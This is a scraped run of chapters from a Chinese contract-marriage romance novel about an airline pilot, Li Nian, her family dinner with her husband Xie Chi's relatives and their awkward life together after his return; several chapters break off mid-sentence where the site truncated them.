窗户朝东而开,框住的景物恰到好处是初升的赤日。橘光从远处波光粼粼的海面流淌过来,将谢持高大屹立的背影镀上一层朦胧的光晕。 他穿着材质偏软的亚麻衬衫,袖口被随意地挽到手肘,举手投足间透露着漫不经心的矜贵。 乍一看和两年前没什么两样,身型依然完美得让她心旌摇动,非得说的话—— “你剪短头发了。”黎念嬉笑着踮起脚,对他的后脑勺又揉又拍。 手感变得有些刺挠。她还是喜欢原来的长发。 谢持没有料到两人阔别多年的话题竟会始于发型, 6. 赫尔墨斯 《风起时吻你[先婚后爱]》全本免费阅读 黎念醒来时头痛欲裂,费好大的劲撑着身子坐起来,不一会儿整个人又软趴趴地倒回床里,像枕在漫无边际的云端。 不愧是住一晚得花小一万的房间,就连床垫都比家里的睡着舒服。 黎念心满意足地往被窝里钻了钻。 地面传来的嗡嗡声一直作响,音量不大,混合了金属剐蹭木地板的窸窣,刺激得她头皮阵阵发麻。 实在恼人。 好不容易宿醉之后大睡一场,怎么有人不识趣打电话过来搅她清梦。 她万分不情愿挪到床尾,试图伸手去够地上的手提包,却怎么也摸不到。最后只好鼓足劲翻身下床,垫着脚尖踩在冰凉的地板上,弓着身子一把抓起链条,再重新仰躺回床里去。 手机的震动未曾歇下来过。 看到来电的名字备注,黎念最后一丝迷蒙的困意也被彻底吓退。 赵斌。 她“敬爱”的大队长,那个掌管着整个海云航空A350机队的男人。 在领导看不见的地方,她规规矩矩地穿上拖鞋走到落地窗前,清了清嗓子,对着空气诚恳鞠了一躬:“大队长,您找我。” 声音必须听起来要有十足的精气神儿,不能让人察觉出来她偷睡懒觉的痕迹。 “你现在成红人了,可不好找。”平静如水的语调里掺着些许隐秘的酸味。 黎念听得眉毛眼睛鼻子都皱到了一块儿去,面色比生嚼柠檬片时的样子还难看。 已经想把电话挂断了。 但她偏要故意绽开最浮夸的笑容,声调矫揉造作百转千回:“领导您就别跟我开玩笑了,我这不随时待命着呢嘛,刚才没接到您的电话纯属意外……” “行行行,你说的都对,”赵斌听起来有些不耐烦,“继续歇着吧,这周的排班调度都帮你取消了。记得明天上午九点准时来公司,上边儿有文件要下给你。” “只有我?”黎念顿时警觉起来,心也凉了半截。 要么是瞒着公司悄悄当网红的事败露了,要么是那个白金卡投诉到领导跟前了。 不管怎样准没好事儿。 “对,上面的人就指定要找你。具体缘由自己琢磨去吧,我得挂了。” “好嘞领导您先忙。” 没等黎念话音落下,对方抢先一步挂断电话。上位者的优越尽数体现。 这个赵斌! 她按捺不住的怒意霎时升腾起来,咬牙切齿地对着手机屏幕挥舞了一阵拳头。 一阵风牵动起思绪,余光瞥见窗外风物,黎念后知后觉坐拥了最极致的海景。 亭午时分,烈日高悬,海雾氤氲。天空色彩浓郁到饱和,满溢出来的旖丽的蓝流入了海的尽头。成群结队的海鸥呼啸着刺破暑气,掠过她的窗前。 眼睛得到餍足,肚子里的气也瞬间消下去一半。 黎念躺在室外的沙滩椅里,双腿交叠在一起,头枕在手臂之上,谛听海浪时不时轻拍岸边的清脆声响。 她终于腾出点心情开始思考昨天晚上自己是如何回到房间,并且安安稳稳躺在床上的。 完全不记得了。 后半夜的记忆像是被人为提取过,消失得干干净净。 喝断片之前最后一个有印象的人竟然是那个拽得二五八万的西装男。谁家好人来海边度假穿得那么正式啊。 他毫不讲情面,非要当面质疑她的专业技术能力,还耍帅点了一杯威士忌水割,让调酒师搅了十分钟冰块累得生无可恋。 这人从外到里都是黑的,尤其是心,通体乌黑。 最好不要让她再碰到他!!! 这时客房打来电话催促退房,及时拉回了黎念的理智。 她对眼下这番美景纵有再多不舍,还是必须直面分别的时刻。 她打算回北京之后先去一趟亦庄收拾东西。 不管公司对她是赏是罚,不管谢持到底有没有看到她的消息,她已决意要搬回大兴基地,一个人冷静下来思考一段时间。 除了洗漱包,带过来的行李基本上原封不动。黎念直接把拉链拉上,拖着箱子走到房门口。 她拾起吧台上的房卡,这应该是她回房后随手一掷的那张,但—— 取电开关里还插着一张。 呃。 记忆闸门突然打开,一些奇怪的记忆如洪水决堤一般源源不断涌进了大脑里。 她好像见到了……谢持? 黎念啼笑皆非地摇摇头,这个想法未免荒谬至极。 谢持长期在南法生活,一年到头回不了几次国,平时最爱动不动玩消失,怎么可能恰好空降到秦皇岛来和她打个照面就走。 不对。 她好像还主动对谢持投怀送抱了,意乱情迷缠着他的脖子不撒手,揪着他短短的头发,非要让他闻自己这身浓烈的酒气。 醉梦中的一切都真实发生过,手里两张颜色纹样相似的房卡就是物证。 好想找个地缝钻进去…… 黎念一秒都不想再在这个房间里停留,掩面匆匆逃走。 回京的城际高铁到达南站已是下午五点。黎念叫了一辆网约车,直接开到住宅。 - 一年半以前的某天早晨,她收到一个匿名闪送,里面除了两张卡片再无其它。 她不明就里在网上搜索这些物件的来历,然后沉默着关掉了浏览器。 想不出来还有谁能够大手一挥,把无限额的黑金卡和京南最贵地产的业主卡随随便便用快递打发给她。 除了她那名义上有福同享有难同当的塑料老公。 知道谢持有点小钱,但不至于这么夸张吧。 黎念在微信上问:【这是你寄的?】 进入冬令时以后,法国与国内时差变为七小时。谢持的作息也随之朝后略作调整,他隔了很久才睡醒回复消息—— 【嗯,托人代办的,收到就好。】 【看到我留的信息了吗?】 黎念一头雾水:【什么信息?就一信封,里面装着两张卡,没别的东西了。】 【行吧……没关系,那不重要。】 【新家在阆园十号楼三层。装修之后晾了小半年,现在可以搬过去住了。】 【至于银行卡的密码,是很重要的一天,你能猜到的。】 他还是一如往常言简意赅。 这房子是刚领证时就买下来的? 【???】 黎念顶着一头问号在南海子公园东门附近找到了传说中的阆园。 门脸低调古朴,内部别有洞天,楼宇环湖矗立。青松掩映,飞瀑喧豗,天鹅曲项,孔雀嗥鸣。设计师直接将世界园林大观搬进了这一方天地,钞能力为一切怪诞诡奇的存在赋予合理性。 抛开纸醉金迷的一面,小区的地理位置对于常驻大兴机场的黎念来说很是理想,通勤车程仅需半小时左右。 最重要的是周边商圈已经成熟,还有一座巨大的可以看麋鹿的湿地公园,娱乐生活简直比荒凉的基地丰富许多。 住习惯之后竟然有些难以割舍。 - 专车驶入地库,停在了一片星空顶之下。 7. 厄里斯 《风起时吻你[先婚后爱]》全本免费阅读 周珮文的手机铃声响起,她仓促结束聊天,到厨房外的露台接电话。 黎念无所事事,瞥见餐厅流理台旁边堆着尺寸不一的托运箱。 全都是谢持带回来的。 她好奇蹲下来细细打量了一番。 重叠在最上方的梯形纸箱看起来有些神秘,不知道里面装着什么稀奇玩意。 尺寸略小的那个黑色行李箱磨损最为严重,上面贴满了托运条形码。字母数字的排列组合于她而言有些生僻,大多都是外航代码。 年代过于久远的贴纸泛黄翘边,新的条码直接覆于其上。 谢持不愿意撕掉这些狗皮膏药似的标签,但用马克笔在上面涂画了一些痕迹,想必他曾经丢过不少行李才有了这等经验之谈。 看起来像个恋旧又固执的人。 这么多年过去,她还是对他一无所知。 黎念回到沙发上正襟危坐着,和闲不住溜达过来的林克大眼瞪小眼。 家里没人时,她一贯没坐相。 沙发是圆弧形的,她喜欢侧躺成一弯月牙。不想去餐桌上吃外卖,她就直接伸着腿席地而坐。 现下多了一人一狗几个大箱子,无形之中让她倍感压力,站也不是坐也不是。 总感觉得注意一下淑女形象。 林克摇着尾巴凑过来,用湿润的鼻尖轻轻蹭着她的小腿。 黎念还是有些害怕。她搂住靠枕盘着腿,往后挪了挪身子。不料林克直接把爪子搭在了沙发上,一脸无辜看着她。 她试探着伸出食指轻轻戳了戳它的脑袋,发现它并不抵触,于是开始尝试用手掌摩挲。 小狗的毛发柔顺细腻,在傍晚的斜阳映照下反射着耀眼的浅金色光泽,看起来像是在主人精心呵护之下无忧无虑长大的。 “你叫林克对吗?”黎念紧绷的面色终于渐渐松弛下来,声音竟也不自觉地变得嗲嗲的。 林克像是听懂了一般,伸出粉粉的舌头舔了一下她的膝盖,然后把脸埋在她的掌心里。 它在示好,黎念出乎意料并不反感。 “小狗狗是要去拯救塞尔达公主吗?”她宠溺笑着,“姐姐给你做心心牛奶汤好不好~” 林克不满地吠叫两声表示抗议。 金毛怎么能随随便便喝牛奶啊喂! 黎念被它吵得像是想起来了什么。 她可不是专程来撸狗的,她是带着离婚的目的来搬家的。 远远瞥了一眼,周珮文还站在阳台打电话,隐隐传来阵阵笑声。似乎不用见到本人都能想象出她那眉飞色舞的模样。 眼下这个安宁祥和的氛围可不兴被破坏掉。她要平地一声雷闹分家,简直就是不懂事。 黎念双手捏住林克的腮帮子,愁眉苦脸对着它认真说道:“你别着急拯救世界,能不能先帮帮我,去跟你爸说一下我想和他……” “念念!” 是周珮文的声音。她结束通话,满面春风地摇曳回了客厅。 黎念身形一滞,“离婚”二字刚到嘴边,忙不迭咽回去。 差点咬到舌头。 她站起身来,抚平t恤上面的褶皱,赧然一笑:“您找我。” “哎,乖乖啊,”周珮文把手搭在黎念的肩上,笑眯眯看她,“我们两娘母去城里头给小持接风,吃顿便饭哇。” 和谢持一起吃饭? 黎念的掌心兀地多出了几道鲜红的掐痕。紧绷的指节泛着惨白。 周珮文操着一口资格的省城方言,尤其是经常被网络段子调侃的梅花音,总能被她发得字正腔圆。 独特而又浓郁的腔调仿佛是从骨子里散发出来的一般,但却丝毫不会让人感到腻味。 以前在老家县城时,年纪小的女孩子都爱私底下打堆堆模仿她说话,因为显得洋气。 但是有些道理后来才懂得。 口音和外貌神韵、生活习惯一样,都是造化一刀一笔镌刻出来的塑像,并非简单粗拙的临摹画。 “你现在赶紧换身衣服,专门穿漂亮点儿哈。” 黎念看着满身珠光宝气的周珮文,再低头扫了一眼自己身上的拉夫劳伦t恤牛仔裤。虽然这副装扮样式休闲简洁,却把她该凸显的身形优点都勾勒出来,显得整个人舒展又利落,倒不至于拿不出手吧。 她想了想,没必要忤逆长辈的意愿。 还是回到衣帽间里仔细挑了件质感上乘的白色西装外套穿上,再搭配一些抬气色的素银首饰,微卷的长发依然披散着。 “妈,我们出门吧。”她亲昵地搂住周珮文的臂膀,浅浅笑了一下。 该见的人早晚得见。 周珮文眼风一扫没再多说什么,只是微勾唇角拍了拍她的背,然后拎起放在茶几上的铂金包去玄关换鞋。 林克踩着小碎步跟过来,尾巴摇得很是起劲。 它以为自己要被带出去遛弯了,结果最后被黎念抱着强行塞进了局促的后排车座里。 周佩文名下这台AMGS63Coupe已经停产很多年,但是外表低调不过时,性能极佳,所以她一直舍不得换掉。黎念眼馋了它很久,一直心痒想开着玩,却始终没时间去考驾照,每次出门只能觍着脸让婆婆当司机。 说出来还怪难为情的。 A350那么大一架飞机都能开,小小四座车却没拿下。 - 晚餐地点定在川省驻京办新开业的创意菜。 用周珮文的话说就是,离开蓉城十多年,始终割舍不得那一点家乡的味道。 这家店主打上河帮菜,仅用短短一年时间就跻身米其林二星行列,是京城唯一一家上榜的川菜馆。即便是大堂的晚市席位在平日里也一位难求,更遑论周末和节假日。 不过她们似乎不用担心排队的事情,甚至连寄放宠物都有人帮忙打点。 黎念在服务员的带领下,穿过人声鼎沸的用餐区,停在了包厢房门前。 “两位有请,谢先生已经在里面了。” 服务员用力一推雕花木门。 先映入眼帘的是白玉兰纹样幕墙,再是大理石转盘上的琉璃玉壶,里面插着重瓣百合配以雪果文竹,暖色灯光透过枝叶落下道道阴翳。 左侧半透明的蜀绣屏风后面影影绰绰,像是有好些人在热切交谈。 熟悉的乡音萦绕于耳。 黎念不禁腹诽,城里人管这叫…… 吃便饭? 他们谢家在京城的各路亲戚全都归位了吧。 很快从屏风内探出一颗圆滚滚的头来。 “婶婶!你来啦!” 清脆的童声略带京腔。现在的孩子在学校里说多了普通话,回家也不爱讲方言了。 小男孩发型梳得一丝不苟,穿着成套的衬衫和背带短裤,领口还规规整整系着蝴蝶结。 周珮文笑着答应了,然后拉着黎念问他:“你看这是谁呀?” 男孩睁着雾蒙蒙的大眼睛,眼神里充满着疑惑。他努力地思考了半晌,还是摇摇头:“不认识。” 黎念的嘴角几乎不可见地抽搐了一下。但她很快掩饰住了情绪,蹲下身来握住小男孩的双手,满脸堆着笑:“跳跳,我是姐姐呀。” “我只有露露姐姐一个姐姐,不记得你了。” 小屁孩倒挺实诚。 8. 厄里斯 《风起时吻你[先婚后爱]》全本免费阅读 黎念和谢家亲戚接触的人数次数掰着一只手的手指头都能数完。如今再度碰面,大家面面相觑,谁也不认识谁。 她依然活生生像个局外人,根本插不上话。 挎包还挂在肩上,手指不安地绞在一起,眼看着一大家子人互相礼让搀扶着落了座,场面异常温馨和谐,自己却被晾在一旁。 强烈的窒息感声势浩大地涌上心头,一股郁结之气如何也化不开。 上首空出来的座位想都不用想就知道是留给谢持父亲的。 虽然他喜怒无常又面子大,受到邀请喜欢看心情赴约,但不成文的规矩终归是立在这儿的,时间一长大家便都心照不宣,总会习惯性地为他空出座位来。 谢家能从西南县城一步登天到皇城根下,全都得仰仗谢思谏。 平时再如何仰人鼻息,至少在外人眼前落得体面,倒也无可厚非。 黎念暗中观察片刻,发现靠近服务员上菜位置的座位还空着,便打算悄摸地挪过去坐下。 当一个默默转桌夹菜干饭的工具人就行,最好谁也不要来过问她的二三事。 反正只是临时扮演一下温良恭俭让的儿媳妇角色,很快就能脱离苦海了。 正当她要迈出第一步时,小臂被一股突如其来的力量紧紧桎梏住,害得她险些往回栽倒。 惊魂未定的视线颤巍巍游移过去,她清楚地看见谢持骨节分明的修长手指。 还有侧脸。 这个角度不巧不好,将他骨相的优越之处放大到极致。眉骨鼻梁起起伏伏,宛如山峦连绵不绝。 明明一直在与旁人谈笑风生,哪能顾及她的扭捏局促。 可他偏偏游刃有余,甚至还有闲情在暗地里故意戏弄她。 背光处,指尖隔着西装外套轻薄的布料恣肆划过她敏感的手臂内侧肌肤,激得一阵微弱的酥麻。 黎念有些恼了,想要拍开谢持胡作非为的手。不料右手反被他握住,力度稍稍一带,整个人不自觉地朝他靠近。 夏天冷气开得很足,她的手沁得冰凉,裹在他的掌心里却感到干燥又温暖。 可惜谢持身旁的座位上早已被别的人抢占。 跳跳双手撑在坐凳的软垫上,欢快地晃荡着小短腿。 谢持偏过头,郑重其事地看着他:“谢予竞,我可以和你商量个事情吗?” 他和小孩子说话时,眉目低垂,相较于平时更添几分温润。 跳跳,或者说谢予竞,很吃被正经当作大人这一套。他神气十足地扬了扬下巴,“嗯哼”一声,看起来很是傲娇。 “念念姐姐是哥哥最喜欢的人,吃饭的时候我想和她坐在一起,你能不能让让她,到妈妈那边去呢?” 哈? 黎念闻言又惊又羞,下意识想要抽走手,却叫谢持攥得更紧了。怎么挣扎也无济于事,反倒更显得娇嗔造作。 她倒吸一口凉气,哀怨地合上眼。 这人到底知不知道自己在胡说什么。 想抢座位可不兴欺负小孩儿啊! 谢予竞似懂非懂点了点头,从座椅上滑下来,站在原地叉着腰,认真发问:“但是哥哥最喜欢的人为什么不是露露姐姐呢?” 在场的吃瓜群众无不石化。 当着谢持货真价实的老婆的面提这茬儿,不怕人家回去闹翻天? 其言所指的露露姐姐大名唤作乔清露。她是郝芝宜的亲外甥女,背靠着叱咤政商两界的京城乔家。 乔清露自打在小姨和谢思邑的婚礼上对谢持一见钟情,便总爱私底下缠着他,甚至还专门追到法国去读了个商科,现在在巴黎工作。 至于二人在国外有过什么样的际遇,这些在京城干着急的亲戚们就不得而知了。 这件事在谢家是公开的秘密,大抵只有黎念不知。 ——都觉得没必要再提。木已成舟,只能作罢。 郝芝宜连忙揪住跳跳的嘴角,把他拐到一旁,尴尬赔笑:“小孩子什么也不懂,别听他瞎说八道。” 又看向黎念,热络地拍了拍空出来的座位:“小黎,你也赶紧坐下吧。” 她那白得发腻的藕臂从香槟色真丝披肩的流苏里漏出来,双戴的玉镯子晃荡碰撞着当啷作响。 黎念拢了拢头发,对着郝芝宜微微颔首,笑得柔婉。 看起来似乎没有把方才的话放在心上。 但其实脑袋里还在循环播放那句哄小孩的话。 “念念姐姐是哥哥最喜欢的人。” 好肉麻哦…… 她才不信男人的嘴。 彼时周珮文才接完电话从外面回到包厢里,眼瞧着一双璧人坐在一块儿,黎念的脸上还飞着可疑的红霞,简直笑得合不拢嘴。 “你们看这两个小年轻感情多好。” 谢持的小姑笑着附和:“是噻,之前听说谢持结婚的时候我就想见一见新媳妇了,哪晓得今天才有机会。” 小姑谢淼是家族同辈里学历最高的,毕业于沪城财大,手握ACCA和CPA双证,曾经供职于沪城某四大会计师事务所,后来回到“赫尔墨斯”接替周珮文的工作成为首席财务官。 “别个是飞行员,天天都在天上飞的,简直忙得很,哪像我们这些老果果嘛。”郝芝宜捂着嘴调侃道。 进门后就一声不吭的姑父突然发问:“小黎,你在哪家航空公司上班呢?” 黎念正准备把挎包挂在椅背上,闻言动作一顿。 “我在海云北京分公司飞行四部。”她程式化地笑了笑,神情有些凝滞。 成年人在饭桌上永远避不开的话题有三,工作、结婚、生小孩。 再叠加上谢持神秘新婚妻子的噱头,这顿饭她是别想蒙混过关了。 “海云啊,我刚好有个老同学就是那里的中层领导,哪天介绍你认识一下噻。” “真的哇?那先谢谢姑爹了。”黎念故意提高了些音量,面上喜不自胜,心里水波不兴。 姑父和她见过的很多男性长辈都是一个模子里刻出来的。他们的社交圈太广,有着在各行各业混得风生水起的朋友—— 黎念早就懂得,社交场上的人脉身份都是自己给的,不必较真。 她只需要负责眉飞色舞地捧场。 “海云航空?不是昨天刚出事的那个吗?”谢淼惊声道,“小黎你听说了没,到底是什么情况哦。” 她昨天下班时看到了新闻软件的消息通知,但并没有兴趣点进去仔细看。 还记得推送标题写的是: 【突发!海云7897空中起火,返航大兴!无人伤亡……】 对于不知情的公众而言,新闻只不过就是朝露、流星,甚至风一吹就熄灭的烛光。哪敢想到这缕火星子能弹到自己身上。 “其实我就在那架飞机上。”黎念神色自若,像是在讲述道听途说来的天方夜谭。 她浅浅抿了一口白葡萄酒。是07年的半甜型雷司令,冰镇过后入口清爽而顺滑。 “安?” “啥子喃?” 众人惊诧万分,同时发出的疑问有如 9. 厄里斯 《风起时吻你[先婚后爱]》全本免费阅读 谢持不动声色地拂开这个缠人又恼人的主儿,肃然危坐,目不斜视。 君子端方,不蔓不枝。 淡泊明志,宁静致远。 但是紧绷的下颌线出卖了他的局促不安,整个人看起来就像误入盘丝洞的唐三藏。 彼时二叔谢思邑正绘声绘色讲述自己前段时间在拉斯维加斯玩BlackJack狂捞20倍本金的经历,引得众人惊呼连连。他这个英语都讲不利索的老纨绔能在国外吃得开,很难不说有虚张声势的成分。但毕竟酒过三巡神驰意远,说者无意听者亦无心,都权当是个笑话。 呕哑嘲哳的笑声一股脑儿灌进耳朵里,吵得黎念头有些疼。 她眼见谢持不为所动,便撒开手放过他的袖子。手肘撑在桌面上,双手托住小脸,鼓着腮帮子闷闷不乐。 这个人果然没有变,还是和小时候一样抠抠搜搜的。语文作业不借给她抄,任天堂游戏机也不愿意给她玩,现在让分她一点螃蟹也要装傻充愣、置若罔闻。 真的抠死了! 黎念正暗地里数落谢持的种种罪状,没注意到面前邛窑青釉瓷盘发出的哐当声响。 再抬起头时,谢持依然在有一搭没一搭地和别人闲聊,时而发出低沉的笑声。眼睛微微眯起,半掩住了不易觉察的疏离。 她怔怔盯着蟹壳里盛着的橙红黄白。 “想吃可以再点,都是家里人,不用那么拘束。”这次谢持没有刻意控制音量。 周珮文闻风而动,立刻喊来服务员额外加了一整份梭子蟹,着实让黎念尴尬得无地自容。 她打小接受的教育就不是溺爱那一挂的。 黄丽娟不知从哪里学来的“存天理灭人欲”的哲学理论,硬生生把它曲解为饭不必吃太饱。喜欢吃的不给添菜,想要的礼物永远嫌贵。 所以黎念从来都不敢大大方方伸手索取,怕周围人觉得她不懂事,只能悄悄私底下犒劳童年的自己。 “谢谢妈。”黎念瓮声瓮气嗫嚅道。 谢持扫她一眼,思索片刻后凑过去和她咬耳朵:“老婆,为什么不谢我。” 这个过分亲密的称呼着实让黎念心惊,闻所未闻、见所未见,仿佛外太空传来的危险信号。 感觉谢持在报复自己叫他“前夫哥”…… 她对男人突然的靠近毫不设防,橙香一浪接一浪地侵袭五感。 本来还以为嗅觉已经疲劳。 黎念脸皮薄,耳朵上面的皮肤更薄,薄到就像纸,甚至是蝉翼。所以耳朵一碰就会通红,哪怕只是一阵微热潮湿的气流也能带来酥麻灼烧的感觉,然后通过脊神经涌向小腹和腰部。 明明只是隔空传讯,她却有了羞于启齿的反应。 黎念不自在地往右稍稍挪动,故意与他保持一定距离,然后把堆成小山高的蟹肉推回去:“自己吃吧你!” 整个人就像一只气鼓鼓的河豚,易燃易爆炸。 谢持无奈耸肩抽身离去。他挺直腰背坐着,很快恢复了先前清冷矜贵的模样。 她可以随意戏弄他,但他不行。 只许州官放火,不许百姓点灯。 想到这里,谢持幽深的眸子更晦暗几分。 郝芝宜看着两人时而黏在一起打情骂俏,分外眼红,憋在心里好久的问题终于一吐为快:“小持啊,你们扯证有多久了呢?怎么还没办婚礼?” 黎念听她这么问,顿时噤若寒蝉,后背心虚地渗出涔涔冷汗。 如果她此时此刻扣住谢持的手站起来,和在场的长辈们郑重宣布自己单方面提离婚的“好消息”,那她好像没办法完好无损地从包厢这里走出去了。 别的不说,光是谢思邑那身敦实的膘肉和纹满大臂的钟馗捉鬼图案就很有威慑力。 黎念隐约记得谢家二叔以前是混社会的,前妻也是受不了这一点才跟他离的婚。后来他收敛了脾性,跟着谢思谏来到京城,靠着公司分红也能混得风生水起,还娶到了现任妻子郝芝宜。 算了。想太多。 因为她发现谢持同样在沉默。 见二人跟闷葫芦似的,郝芝宜不依不饶:“周围好多亲戚还不晓得谢持结婚的事情,天天都想给他介绍女朋友。” 黎念总觉得这话让她听得有点不舒服。言下之意就好像是,你得抓紧宣示主权了,小心后来者居上。 离婚的八字还没一撇,已经有人在惦记着善后事宜。 “二妈,我现在回国了,婚礼的事情会尽快提上日程的,”谢持开口打破僵局,“到时候你要给念念封个大红包才行。” 黎念飞快把这段话的意思过了一遍,干巴巴笑了两声附和道:“噢——对对对,先提前谢谢您了。” 一唱一和,蜜里调油。 郝芝宜作妖不成反被将了一军,瞬间偃旗息鼓下来,勉强扯出一抹称得上慈祥的笑容,涂了厚厚两层的粉霜也盖不住吃土的面色。 提到婚礼,喝了一盅正微醺的周珮文来了兴致。 “都结两年婚了,真的该办了。你们赶紧把喜欢的场地挑好,不用管价格,漂亮气派就行,摆他个百八十桌,妈老汉来买单。 “婚纱照也要搞快点拍,新疆、西藏、青甘大环线,还有冰岛的极光、瑞士的雪山草原、坦桑尼亚动物大迁徙……都可以去取个景。到时候请婚庆公司打印巨幅海报,从酒店的顶楼一直挂到下面,让全京城的人都晓得我们的儿子儿媳有多么登对……” 列举了这么多旅游目的地,感觉都像是周珮文自己夹带私货。 “你这个妈当得简直不摆了,我都好羡慕哦。”小姑谢淼打趣道。 她结婚的时候,谢家各路亲戚都还在定居在县城乃至周边的乡镇里,故而只好把婚礼场所定在当地最普通的一家农家乐,布景简陋、流程草率。结束之后又赶紧回到沪城无缝衔接工作。 黎念听周珮文这么一添油加醋,不禁浮想联翩。 她盘起长发,穿着VivienneWestwood纯白缎面吊带婚纱,在闪耀的镁光灯下步入繁花簇拥的仪式殿堂。新郎背对着她站在舞台中央,躁动不安等待firstlook的降临。 对方转过身来,逐渐清晰定格的那张脸竟然是谢持的。他挑着眉上下打量一番,戏谑地说,怎么跟个朵拉一样。 好无语。 黎念赶紧把这离谱的画面从脑海里清除出去,长吁一口气,怏怏然缩进椅子里。 竟然开始幻想和谢持的婚礼场景,她一定是被带偏了。 不知道谢持对此究竟作何感想。 她不敢去猜。 - 这场“便饭”一直吃到晚上十点半才结束,对于黎念而言,比在驾驶舱里坐着还要如坐针毡、如芒在背、如鲠在喉。 好在谢思谏一直到最后 10. 厄里斯 《风起时吻你[先婚后爱]》全本免费阅读 谢持回到家以后第一件事情就是搬行李。他把那个狭长的梯形纸箱小心翼翼地抱起来,用手肘顶开靠近玄关的次卧的门。 黎念刚换完鞋就看到这一幕,上前一步手扶在门框上,忍不住问道:“你以后就住这儿吗?” 声音还未飘到对方耳中,她便后悔了。想要撤回时,才发现谢持脚步一顿,立在了原处。 “放心,我不会来打扰你的。”他脸上的表情平淡无波。 “哦……”黎念百口莫辩,牙齿紧紧咬住殷红的下嘴唇,血像是要渗出来一般。她收回挡在门框的手,后撤一步为他让出路来。 说到底她也算是鸠占鹊巢,怎么反倒让真正的主人到次卧去住。 她刚搬来阆园的时候四处参观过。 将近三百平的大平层,除了必要的公共区域,只有一个主卧、两个次卧和一个书房。谢持将要住的房间和主卧相比仅仅是缺少衣帽间,其实倒也算得上宽敞。 黎念帮忙把两个行李箱拖过来,谢持也只是礼貌接过,没再多言语。即便是两个陌生人第一次见面也不至于尴尬如此。 待到他慢条斯理地把所有行李挪进房间,黎念以为只能就此作罢时,他突然出现在半掩的门后,阴影落在侧脸上。 “我工作有变动,以后会尽量留在京城,再也不会离开那么久了。” “这样啊。”黎念盯着鞋尖上的小装饰,心不在焉地回应道。 她前段时间在洞洞鞋最火的时候一时兴起买了双黑色的厚底crocs,结果几乎没有机会穿出门,只好放在家里当拖鞋。 这过于平静的反应似乎让谢持有些不满意,但他只是轻轻皱了皱眉头,想说的话都艰难地咽下去,像吞食干燥生涩的食物一样。 耳畔时不时传来啁哳虫鸣和风吹树叶的窸窣响声,此起彼伏,节律整齐。时间仿佛被无限延展,一分一秒滴落在心湖。 度秒如年。 黎念实在不知道该如何继续话题,匆忙留下一句“晚安”便落荒而逃。 房门咔哒一声落上锁,一头一尾两个房间完全被隔绝成两个世界。 - 黎念提前吃了褪黑素,躺在床上玩手机,没一会儿便感到一阵困意袭来。 她拔掉充电器,定了一个七点半的闹钟,再把手机设为睡眠模式。 人却迟迟难以进入睡眠状态。 从迫降事发到现在不过一天时间,她却仿佛蹉跎了整个世纪,太多事情接踵而至冲昏了她的头脑。 在没有醉酒的状态下闭眼,神志总能不经意间出走。 她无数次恍惚自己又在那架机龄不到三年的A350上面。然后开始设想,如果飞机失速坠毁,如果偏出跑道发生碰撞,如果发生连续海豚跳摔断尾翼,如果飞机漏油没有及时控制下来引发火情…… 每一次假想的事故结果都让她猛然睁眼,注视着漆黑空洞的天花板,心里无端生出幽阴的恐惧,如同堕入深崖。 终于快要迷迷糊糊睡着的那次,黎念隐约梦见了更为可怕的情形。 发动机的灭火装置失效,火势蔓延到客舱,所有的乘客、乘务组和安全员都在浓烟中窒息昏迷,而她和方荣华、周兆林在危急中驾驶着这个幽灵班机降落在一片荒野,却因为无人救援葬身火海。 滚烫的火舌舔舐着她的面庞,赤红的光照彻双眼胀得生疼,再怎么挣扎也是徒劳。 最后陷入无边的黑暗。 空调温度明明调得很低,她却汗如雨下,惊醒坐起,身上的棉质睡衣里里外外都被浸湿,发丝黏腻在烧红的脸庞上。 黎念没有开灯,凭着记忆摸索到了浴室里,双腿一软跌坐在浴缸旁。 她放满洗澡水,然后踉踉跄跄地踩进去,整个人没入水中交叉环抱着自己,双手紧紧扣住蝴蝶骨。 水面泛起层层波纹,是她在不住地颤抖。 心有余悸的感觉来得实在太晚。 她一直浸泡到手指发皱发白、水温变凉,才从浴缸里面出来。拖鞋鞋底太高,脚下虚浮差点扭到脚踝。 方才出汗太多,又在水里泡得太久,她舔了舔干燥的嘴唇,想要倒杯水喝。 那件被汗打湿的古巴领家居服已经不能再穿出门,只能重新换一套。 黎念捧起备用的睡衣陷入了沉思。 嗯,吊带裙。 真丝、修身、短款、低V、蕾丝边。 丝滑的布料在筒灯幽微的光线下,浮光跃金。 这还是周珮文去欧洲旅游带回来的。她神秘兮兮把礼盒交给黎念的时候,完全闭口不谈里面装着什么。 若是以前穿成这样在家里晃悠,黎念从来不会有害羞的想法。毕竟一屋子也找不出半个男人,根本不用做形象管理。 但现在,她和谢持同处一个屋檐下,对方还是自己名义上的老公,且有过实质性的身体接触。 很难不在意…… 黎念继续在衣帽间翻箱倒柜。她隐约记得自己搬过来的时候带了条穿了很多年的睡裙,款式保守给足安全感,甚至可以称得上是,幼稚。 结果专门装家居服装和内衣的抽屉里出现了一些让她意想不到的其他物品。 她用手指捻起藏在深处的黑色低腰小裤。 全新,吊牌还在。 正面似乎没有异样,背面的布料竟然少得可怜,只剩下几条交叉的线条,该遮的是一点也没遮住。 黎念翻来覆去研究了好几遍,甚至把手垫在布料下面—— 看起来一本正经的正面竟然是半透明的纱,微微透出来的肤色欲盖弥彰。 想不到还有谁有如此恶趣味,除了她亲爱的婆婆。 她把这块令人血脉偾张的轻薄布料塞回衣物的缝隙里,尽力装作无事发生。手扶在心口都能明显感到剧烈跳动。 印着菠萝的齐膝睡裙最后是在柜子最下端找到的。 黎念平时不想穿但又舍不得直接扔掉的旧衣物都集中存放在这里。 她套上睡裙后,对着穿衣镜上下打量了一番,满意点头。 主卧和书房隔着走廊相望,黎念发现书房的门正虚掩着。一抹冷光从门缝里泄出来,落在地上衍射成一道道发散的明亮线条,也落在了她的足尖。 黎念不爱看书 11. 厄里斯 《风起时吻你[先婚后爱]》全本免费阅读 黎念躺在床上辗转难眠,一直捱到破晓时分才终于勉强浅眠了半晌。 阆园的隔音做得很好,最大程度满足了住户的私密需求。黎念听觉敏锐,以前从未被楼上楼下邻居的动静打扰到过,但此刻却被外面入户门落上锁的声音硬生生唤醒,连梦都来不及做一个。 打起精神看了一眼手机显示的时间,不到七点半,比原本设定的闹钟醒得还要早。 其实谢持发出的声响很微弱,并没有故意要去吵她。 她只是不习惯家里有别人在。 黎念意识模糊悬浮,简直困得睁不开眼。她心里总还记挂着大队长的“殷切嘱托”,怕自己再睡过去就直接快进到下午,于是挣扎了半天,强行坐起身来,磨蹭着下了床。 光脚踩在地板上。空调开了一整晚,地面被吹得和寒冰一样,激得她打了个寒颤。 谢持刚出门不久,留下了一桌远远望去异常丰盛的早餐。 